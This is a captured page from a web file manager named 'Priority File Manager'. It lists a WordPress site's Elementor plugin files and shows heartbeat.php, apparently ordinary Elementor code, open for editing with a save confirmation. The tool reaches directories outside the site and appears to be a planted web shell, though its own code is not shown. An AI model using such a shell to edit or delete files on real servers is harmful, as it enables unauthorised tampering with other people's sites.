Priority File Manager
Base Directory:
/home/lvabrwqv/public_html/wp-content
/home/lvabrwqv/public_html
/home/lvabrwqv
/home
/var/www
/var/www/cgi-bin
/var/www/html
wp-content
/
plugins
/
elementor
/
includes
/home/lvabrwqv/public_html/wp-content/plugins/elementor/includes
Name
Type
Size
Actions
📁
..
Folder
-
Delete
Rename
📁
admin-templates
Folder
-
Delete
Rename
📄
api.php
File
8813
Delete
Rename
Edit
Download
📄
autoloader.php
File
10022
Delete
Rename
Edit
Download
📁
base
Folder
-
Delete
Rename
📄
beta-testers.php
File
3059
Delete
Rename
Edit
Download
📄
compatibility.php
File
11221
Delete
Rename
Edit
Download
📄
conditions.php
File
2768
Delete
Rename
Edit
Download
📁
controls
Folder
-
Delete
Rename
📄
db.php
File
16276
Delete
Rename
Edit
Download
📄
editor-assets-api.php
File
1807
Delete
Rename
Edit
Download
📁
editor-templates
Folder
-
Delete
Rename
📁
elements
Folder
-
Delete
Rename
📄
embed.php
File
8679
Delete
Rename
Edit
Download
📄
fonts.php
File
64029
Delete
Rename
Edit
Download
📄
frontend.php
File
40070
Delete
Rename
Edit
Download
📄
heartbeat.php
File
2635
Delete
Rename
Edit
Download
📁
interfaces
Folder
-
Delete
Rename
📁
libraries
Folder
-
Delete
Rename
📄
maintenance-mode.php
File
11426
Delete
Rename
Edit
Download
📄
maintenance.php
File
2881
Delete
Rename
Edit
Download
📁
managers
Folder
-
Delete
Rename
📄
plugin.php
File
15979
Delete
Rename
Edit
Download
📄
preview.php
File
7874
Delete
Rename
Edit
Download
📄
rollback.php
File
4255
Delete
Rename
Edit
Download
📁
settings
Folder
-
Delete
Rename
📄
shapes.php
File
7999
Delete
Rename
Edit
Download
📄
stylesheet.php
File
9124
Delete
Rename
Edit
Download
📁
template-library
Folder
-
Delete
Rename
📄
tracker.php
File
17407
Delete
Rename
Edit
Download
📄
user-data.php
File
3522
Delete
Rename
Edit
Download
📄
user.php
File
10230
Delete
Rename
Edit
Download
📄
utils.php
File
24930
Delete
Rename
Edit
Download
📁
widgets
Folder
-
Delete
Rename
Upload
Create Folder
📝 Editing:
heartbeat.php
Size: 2,635 bytes
Lines: 98
Type: .php
💾 Save
Cancel
✕
<?php namespace Elementor; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor heartbeat. * * Elementor heartbeat handler class is responsible for initializing Elementor * heartbeat. The class communicates with WordPress Heartbeat API while working * with Elementor. * * @since 1.0.0 */ class Heartbeat { /** * Heartbeat received. * * Locks the Heartbeat response received when editing with Elementor. * * Fired by `heartbeat_received` filter. * * @since 1.0.0 * @access public * * @param array $response The Heartbeat response. * @param array $data The `$_POST` data sent. * * @return array Heartbeat response received. */ public function heartbeat_received( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { $post_id = $data['elementor_post_lock']['post_ID']; $locked_user = Plugin::$instance->editor->get_locked_user( $post_id ); if ( ! $locked_user || ! empty( $data['elementor_force_post_lock'] ) ) { Plugin::$instance->editor->lock_post( $post_id ); } else { $response['locked_user'] = $locked_user->display_name; } /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementorNonce'] = $ajax->create_nonce(); } return $response; } /** * Refresh nonces. * * Filter the nonces to send to the editor when editing with Elementor. Used * to refresh the nonce when the nonce expires while editing. This way the * user doesn't need to log-in again as Elementor fetches the new nonce from * the server using ajax. * * Fired by `wp_refresh_nonces` filter. * * @since 1.8.0 * @access public * * @param array $response The no-priv Heartbeat response object or array. * @param array $data The `$_POST` data sent. * * @return array Refreshed nonces. */ public function refresh_nonces( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementor-refresh-nonces'] = [ 'elementorNonce' => $ajax->create_nonce(), 'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ), ]; } return $response; } /** * Heartbeat constructor. * * Initializing Elementor heartbeat. * * @since 1.0.0 * @access public */ public function __construct() { add_filter( 'heartbeat_received', [ $this, 'heartbeat_received' ], 10, 2 ); add_filter( 'wp_refresh_nonces', [ $this, 'refresh_nonces' ], 30, 2 ); } }
✅ File saved successfully!